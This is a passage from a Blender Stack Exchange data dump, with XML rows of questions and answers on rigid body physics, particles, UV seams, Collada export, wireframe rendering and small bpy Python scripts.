bpy.ops.mesh.primitive_cube_add()&#xA;   bpy.ops.rigidbody.object_add()&#xA;   domino = bpy.context.active_object&#xA;   domino.location = (0,y,1)&#xA;   domino.scale = (.5,.2,1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a little more advanced code snippet.  I'm animating electrons orbiting a nucleus, and I want my fcurve interpolation to be linear.  So I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in orbit1, orbit2:&#xA;  for fcurve in obj.animation_data.action.fcurves:&#xA;    for kfpoint in fcurve.keyframe_points:&#xA;      kfpoint.interpolation = 'LINEAR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty happy with it.&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2014-05-06T05:12:36.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9156" PostTypeId="1" CreationDate="2014-05-06T06:38:31.730" Score="1" ViewCount="315" Body="&lt;p&gt;I have a chain, and I need it to collide with a soft wall. Every part of this chain is a Rigid Body (physics), and its collision bound is type &quot;triangle mesh&quot;. The problem with this type of collision bound is that the chain breaks through the wall. If I change the type to &quot;sphere&quot; or another collision type, the parts of my chain are separated, but in this case these parts don't break through the wall, which is what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this? I need the parts of my chain together, but, at the same time, I need the chain to impact the wall without breaking through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important: the wall can't be rigid, it has to be soft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded my file here: &lt;a href=&quot;http://www.pasteall.org/blend/28965&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/28965&lt;/a&gt;&#xA;(move with arrow keys, T and R)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is when I press &lt;kbd&gt;P&lt;/kbd&gt; to start the game engine, it happens that my chain cannot move at any point; it's as if there were a invisible obstacle, and I don't know why this happens.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="1253" LastEditDate="2014-05-06T09:05:03.220" LastActivityDate="2014-05-06T09:05:03.220" Title="Problem with collision bounds" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-04-11T11:15:58.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="9157" PostTypeId="2" ParentId="9154" CreationDate="2014-05-06T06:44:36.253" Score="6" Body="&lt;p&gt;You can work around this by parenting force-field empties to the rigid bodies instead of making the rigid-bodies effectors themselves:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the force field: &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Force field &gt; Force&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent it to your rigid-body sphere. Select the force-field, then the sphere and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Object&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cV0gd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important that the force-field has the same rotation and location as the sphere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The force-fields will not have any affect on the sphere they are parented to, as the center of mass of the sphere is in the same place as the center of the force-field. They will affect the other spheres though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example animation (click for html5 version):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/WiltedIdealCottonmouth#?speed=2&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/WiltedIdealCottonmouth.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28967&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.563" LastActivityDate="2014-05-06T07:24:15.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9158" PostTypeId="1" AcceptedAnswerId="9162" CreationDate="2014-05-06T08:33:10.877" Score="5" ViewCount="1792" Body="&lt;p&gt;I'm trying to make a forest with a particle system, but I want a controlled variation in tree size. Is it possible to use a displacement texture or something similar to control the size of the particles?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2014-05-06T14:06:24.943" Title="Is it possible to use a texture to control the size of particles?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9159" PostTypeId="2" ParentId="9152" CreationDate="2014-05-06T09:11:37.763" Score="2" Body="&lt;p&gt;I really wish Blender supported this out the box and it could be as easy as enabling/disabling 3D manipulator. But the simplest way I found is the following. Assuming you started with default scene with a cube:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable Rigid Body for the cube in &lt;em&gt;Properties &gt; Physics&lt;/em&gt; and select the first Cube and &lt;em&gt;Properties &gt; Physics&lt;/em&gt; choose &lt;strong&gt;Passive&lt;/strong&gt; for &lt;em&gt;Rigid Body &gt; Type&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate it (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) and move (&lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt;) new cube somewhere so it does not touch original.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;End frame&lt;/em&gt; to big number, for example, &lt;strong&gt;10000&lt;/strong&gt;. Make sure &lt;em&gt;Properties &gt; Scene &gt; Rigid Body World&lt;/em&gt; is enabled and set &lt;em&gt;End&lt;/em&gt; in &lt;em&gt;Rigid Body Cache&lt;/em&gt; to the same big number (10000 in this case). You also may want to disable &lt;em&gt;Gravity&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the second cube and duplicate it and in Edit mode with pivot set to &lt;em&gt;Median Point&lt;/em&gt; scale up the third cube slightly (for example, &lt;strong&gt;1.01&lt;/strong&gt;), set its &lt;strong&gt;Maximum Draw Type&lt;/strong&gt; (in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;) to &lt;strong&gt;Wire&lt;/strong&gt;. In &lt;em&gt;Properties &gt; Physics &gt; Rigid Body Collisions&lt;/em&gt; choose &lt;strong&gt;Mesh as Shape&lt;/strong&gt; and (assuming 1 BU = 1m) &lt;em&gt;Margin&lt;/em&gt; to &lt;strong&gt;3mm&lt;/strong&gt; (if it fly away immediately when you start playing animation at step #6 - try smaller value and return to frame 1 to start again). Go back to &lt;em&gt;Object Mode&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the second Cube (the one you actually want to move) and in &lt;em&gt;Properties &gt; Physics&lt;/em&gt; choose &lt;strong&gt;Active&lt;/strong&gt; for &lt;em&gt;Rigid Body &gt; Type&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click Play Animation. To manipulate, select the third cube (displayed as &lt;em&gt;Wire&lt;/em&gt;) and move it. Second cube will follow and &lt;em&gt;Rigid Body Physics&lt;/em&gt; will do its best to prevent collisions, but if you force it too much, it may fly away; if it does, press &lt;kbd&gt;Esc&lt;/kbd&gt; and go back to first frame to try again. To put it on other object without intersection, move it slowly, when it start shaking it means slight intersection happened, move it away a bit and when it stops shaking, stop moving. When done moving/rotating, pause animation, select all, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to &lt;strong&gt;Apply&lt;/strong&gt; and choose &lt;strong&gt;Visual Transform&lt;/strong&gt; and then go back to Start frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Obvious drawbacks is that you have to enable Rigid Body on objects and create temporary object to move object you want to move, then delete temporary object, not to mention the temporary object introduces problems - direct manipulation would be much more convenient.&lt;/p&gt;&#xA;" OwnerUserId="3110" LastEditorUserId="3110" LastEditDate="2015-01-27T11:06:54.787" LastActivityDate="2015-01-27T11:06:54.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9161" PostTypeId="1" AcceptedAnswerId="14375" CreationDate="2014-05-06T13:44:24.287" Score="6" ViewCount="1990" Body="&lt;p&gt;I have been unsuccessful at exporting models to Collada (.dae) for importing to Google Earth. Even the default cube doesn't export in a way that Google Earth can read it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what model I try to export I get an error in Google Earth that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: COLLADA Primitive type [polylist] is not supported, and will not be drawn.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried triangulating the default cube, but I always get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest official build of Blender with Google Earth version 7.1.2.2019&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help anyone can provide.&lt;/p&gt;&#xA;" OwnerUserId="537" LastEditorUserId="1253" LastEditDate="2014-05-06T22:55:56.753" LastActivityDate="2018-04-06T18:46:35.213" Title="Blender DAE Rejected by Google Earth" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9162" PostTypeId="2" ParentId="9158" CreationDate="2014-05-06T13:49:29.237" Score="7" Body="&lt;p&gt;Just add a texture to your emitter and in the influence panel of the texture choose &lt;strong&gt;Size&lt;/strong&gt; for emitter particles or &lt;strong&gt;Length&lt;/strong&gt; for hair particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7sWKV.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ocQ6I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-05-06T14:06:24.943" LastActivityDate="2014-05-06T14:06:24.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9163" PostTypeId="2" ParentId="9135" CreationDate="2014-05-06T15:09:00.863" Score="1" Body="&lt;p&gt;I changed the cloth collision parameters on the collision object that the cloth collides with from &lt;code&gt;0.008&lt;/code&gt; and &lt;code&gt;0.003&lt;/code&gt; to &lt;code&gt;0.002&lt;/code&gt; and &lt;code&gt;0.001&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rm6qy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="599" LastEditDate="2014-06-05T20:10:51.250" LastActivityDate="2014-06-05T20:10:51.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9164" PostTypeId="1" AcceptedAnswerId="9173" CreationDate="2014-05-06T15:12:07.353" Score="5" ViewCount="2367" Body="&lt;p&gt;I have some basic render settings (border off, resolution, etc.) that I would like to have applied for &lt;strong&gt;all&lt;/strong&gt; scenes in the .blend file using Python, via the &lt;code&gt;-P&lt;/code&gt; &lt;strong&gt;command line&lt;/strong&gt; switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for scene in bpy.data.scenes:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it only operates on the active scene.&lt;/p&gt;&#xA;" OwnerUserId="3263" LastEditorUserId="21288" LastEditDate="2016-09-10T19:35:22.623" LastActivityDate="2016-09-10T19:35:22.623" Title="Modify render settings for all scenes using python" Tags="&lt;python&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9165" PostTypeId="1" CreationDate="2014-05-06T15:27:39.303" Score="3" ViewCount="2037" Body="&lt;p&gt;I have found a conflict in how I want to UV unwrap my model for cloth modeling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For material patches, it seems natural to make use of the seams the real thing would have (easier to paint the texture correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For making seams look like seams I need to be able to paint over the real seam, making it hard if I use the real seam as UV seam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are such cases usually handled?&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="599" LastEditDate="2014-05-06T22:59:25.397" LastActivityDate="2016-08-31T13:13:12.740" Title="Seams for use in cloth model" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9166" PostTypeId="1" AcceptedAnswerId="9171" CreationDate="2014-05-06T16:28:42.547" Score="2" ViewCount="664" Body="&lt;p&gt;When I'm rendering, I've noticed that there is the transparent grid, even with the user's perspective filled with non-empty texture.&#xA;How can I get rid of that?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0vQ1s.jpg&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3395" LastActivityDate="2014-05-06T18:49:28.267" Title="transparent (test) grid showing up when rendering?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9168" PostTypeId="1" AcceptedAnswerId="9169" CreationDate="2014-05-06T17:32:30.573" Score="6" ViewCount="2966" Body="&lt;p&gt;Okay, here's a little something in need of a solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am planning on making some piles of coins for a dragon's treasure hoard.  This would be for game content, so it would all need to be low-poly, probably as a mesh pile with a textured surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good way to do this that would make the pile look authentic, or at least believable?  Like, for example, would it be possible to create a particle system, and then bake its output to the surface of a mesh?  Or would there be a better way to get natural results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 1: If possible, I'd also like to get decent normal maps for the coin pile.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2015-11-22T21:33:37.463" Title="Best way to make a coin pile?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9169" PostTypeId="2" ParentId="9168" CreationDate="2014-05-06T17:44:10.527" Score="9" Body="&lt;p&gt;Model a coin (depending on how detailed you need just a short cylinder). Then use rigid body physics to drop the coins into a pile. &lt;a href=&quot;https://www.youtube.com/watch?v=iYL9w6xsZ6g&quot; rel=&quot;nofollow&quot;&gt;cg cookie tutorial&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/using-rigid-body-physics-to-create-a-falling-buttons-image/&quot; rel=&quot;nofollow&quot;&gt;archive&lt;/a&gt;). After you have a pile of coins then you can &lt;a href=&quot;http://www.blender.org/manual/render/workflows/bake.html&quot; rel=&quot;nofollow&quot;&gt;bake a normal map&lt;/a&gt; to a low poly mesh. Short description of the process on bottom of that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the color, bake that too (&lt;a href=&quot;http://www.blender.org/manual/render/workflows/bake.html&quot; rel=&quot;nofollow&quot;&gt;also on that page&lt;/a&gt;). You would want a &lt;em&gt;full render&lt;/em&gt;, or a &lt;em&gt;Textures&lt;/em&gt; bake for the diffuse map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using cycles, the &lt;a href=&quot;http://www.blender.org/manual/render/cycles/baking.html&quot; rel=&quot;nofollow&quot;&gt;bake&lt;/a&gt; options are a little different.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T21:33:37.463" LastActivityDate="2015-11-22T21:33:37.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9170" PostTypeId="2" ParentId="9165" CreationDate="2014-05-06T17:59:29.580" Score="3" Body="&lt;p&gt;You can use two UV maps. One UV map laid out how ever is best for your model with the main texture. Then a second UV map unwrapped so the cloth seams come out better for painting. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZzJlp.png&quot; alt=&quot;Uv Maps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can unwrap your model with UV seams and all, make a second UV map then mark all new UV seams and unwrap again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an old blender nerd &lt;a href=&quot;https://www.youtube.com/watch?v=xm0WRbxDZ1U&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; explaining the process. (for people that like video tutorials)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use your two textures, and two UV maps in cycles, all you need are two &lt;em&gt;UV Map&lt;/em&gt; nodes and two &lt;em&gt;Image Texture&lt;/em&gt; nodes. Mix the two images together based on the &quot;seams&quot; image's alpha. The image below is a full node setup for using two image and two UV maps.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JEb3Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JEb3Q.png&quot; alt=&quot;cycles nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-08-31T13:13:12.740" LastActivityDate="2016-08-31T13:13:12.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9171" PostTypeId="2" ParentId="9166" CreationDate="2014-05-06T18:28:37.707" Score="0" Body="&lt;p&gt;The rendered scene you posted seems to be from an earlier version of your blend file than the one you posted. When I render using the blend file you posted, I don't have any transparency problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vP9DB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try rendering again and see if you still have the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing about your file I noticed is that on frame 1, the camera itself is positioned partially inside the wall:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZxYP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part circled in green is where the camera sees from, &lt;em&gt;not&lt;/em&gt; from the front, shown here in red:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UHVL7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That results in your scene at frame 1 of your animation being partially obscured by the wall, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aZP0Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, simply move the camera at frame 1 fully into the room, then set a keyframe for it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hxNRh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-06T18:49:28.267" LastActivityDate="2014-05-06T18:49:28.267" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9173" PostTypeId="2" ParentId="9164" CreationDate="2014-05-06T20:04:40.280" Score="7" Body="&lt;p&gt;It works fine for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    scene.render.resolution_x = 1920&#xA;    scene.render.resolution_y = 1080&#xA;    scene.render.resolution_percentage = 100&#xA;    scene.render.use_border = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Placing this in a file (&lt;code&gt;test.py&lt;/code&gt;) and running blender with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender test.blend -P test.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Opens blender with all the settings set to the values defined in the Python script, in both scenes.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1363" LastEditDate="2014-05-06T20:20:12.377" LastActivityDate="2014-05-06T20:20:12.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9174" PostTypeId="1" CreationDate="2014-05-06T20:34:40.137" Score="1" ViewCount="98" Body="&lt;p&gt;I have a model with a texture and a material. How can I add another texture that is shadeless over the existing texture and use it as a wireframe or other cool effects?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-05-06T20:34:40.137" Title="How to add a shadeless texture over an existing texture?" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-05-08T12:48:19.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="9175" PostTypeId="1" AcceptedAnswerId="9189" CreationDate="2014-05-06T21:24:32.770" Score="19" ViewCount="43980" Body="&lt;p&gt;As a small example, I have two intersecting faces, both part of a larger object. Without destroying the textures, I'd like to connect them (so they share vertices) where they intersect. That way I can create edges and delete whatever sections I wish to remove. Here is a small example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RJYRA.png&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My cumbersome method so far is to subdivide an edge, slide the vertex to where it looks like it meets, draw new lines, delete original faces, create new faces, and remap the UV. Is there an easier way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a larger example. The following link is a small piece of my blend project of which I'm trying to do this maneuver on. In short, I want to remove all the green on the inside of the brown and all the brown on the inside of the green. I hope that makes sense :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29003&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29003&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=70940&quot; rel=&quot;nofollow noreferrer&quot;&gt;example2 http://www.pasteall.org/pic/show.php?id=70940&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3399" LastEditorUserId="32220" LastEditDate="2019-01-05T21:08:06.080" LastActivityDate="2019-01-05T21:08:06.080" Title="How can I join the geometry of intersecting faces/planes and then remove parts?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="9177" PostTypeId="1" AcceptedAnswerId="9178" CreationDate="2014-05-07T02:13:52.643" Score="5" ViewCount="3687" Body="&lt;p&gt;Is there a way to render an object with a subdivision surface modifier with a wireframe which is the original geometry as well as the wires that make the subdivision surface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fOrYS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wireframe here is curved. What if there was displayed the straight wireframe. The wires that make are made by the subdivision surface. Thats what I want to achieve. How to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is - How to render the curved wireframe (which is the original geometry with the straight wireframe (which is the wireframe the is made by the subdivision surface)?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-05-10T22:33:36.263" LastActivityDate="2014-05-10T23:52:32.447" Title="wireframe render over an object with the subdivision surface wireframe?" Tags="&lt;wireframe&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9178" PostTypeId="2" ParentId="9177" CreationDate="2014-05-07T02:26:06.170" Score="5" Body="&lt;h1&gt;Rendering curved wireframes:&lt;/h1&gt;&#xA;&lt;h2&gt;Blender Internal&lt;/h2&gt;&#xA;&lt;p&gt;You can either use freestyle or a wireframe material, see &lt;a href=&quot;https://blender.stackexchange.com/q/2784/599&quot;&gt;Rendering with wireframe&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you use a wireframe material, make sure &lt;em&gt;Optimal display&lt;/em&gt; is enabled on the modifier, otherwise all the edges generated by the subserf will be rendered as wires (they won't be curved).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PzBEC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Cycles&lt;/h2&gt;&#xA;&lt;p&gt;To do this in cycles, you could use two scenes, one for the cycles render and another to render the wireframe with one of the BI techniques.&lt;/p&gt;&#xA;&lt;p&gt;To get a BI wireframe material to render with a transparent background (for combining with a cycles render), just set the second material to &lt;em&gt;Masking alpha&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X216s.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And set &lt;em&gt;Alpha&lt;/em&gt; to &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &amp;gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DYI4z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Original answer&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;OP clarified the question, making this no longer relevant. As far as I can tell, that is..&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to do this in the viewport/opengl render, just enable &lt;em&gt;Draw All edges&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A43Ht.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And make sure &lt;em&gt;Optimal display&lt;/em&gt; is disabled in the subserf modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GHSCI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-10T23:52:32.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9179" PostTypeId="2" ParentId="9153" CreationDate="2014-05-07T04:57:09.903" Score="2" Body="&lt;p&gt;You can adjust the vertex weights at any time, either by using Weight Paint mode or manually adjusting the weights, weight painting is just a nice gui approach to setting vertex group weight values to vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you most likely want to use a parent constraint to allow you to turn on/off the parenting of the entire object on demand. With rigid objects that don't deform you only need to parent the object to a bone so that it moves with your character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f8eIP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By keyframing the influence slider you can control when the object is parented to the hand and when it is left behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the game engine then you may want to use a parent actuator to enable/disable the parent relationship. In this case you probably want to set an empty to be a child of the hand bone and then enable parenting to the empty as you can't turn on parenting to an individual bone.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-07T04:57:09.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9180" PostTypeId="1" CreationDate="2014-05-07T05:18:54.507" Score="1" ViewCount="567" Body="&lt;p&gt;I created a model and then tried to add armature. But when I'm moving the rig, some of it (the mouth) stays in the place and I don't know why. Anyone know why it could happen and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These pictures illustrate the problem (don't mind the eye):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rest pose:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9LOWu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When rotating a bone:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DGGgE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3403" LastEditorUserId="2173" LastEditDate="2014-05-07T05:27:02.467" LastActivityDate="2014-05-07T05:27:02.467" Title="Why does part of my figure not move with my rig?" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="3" 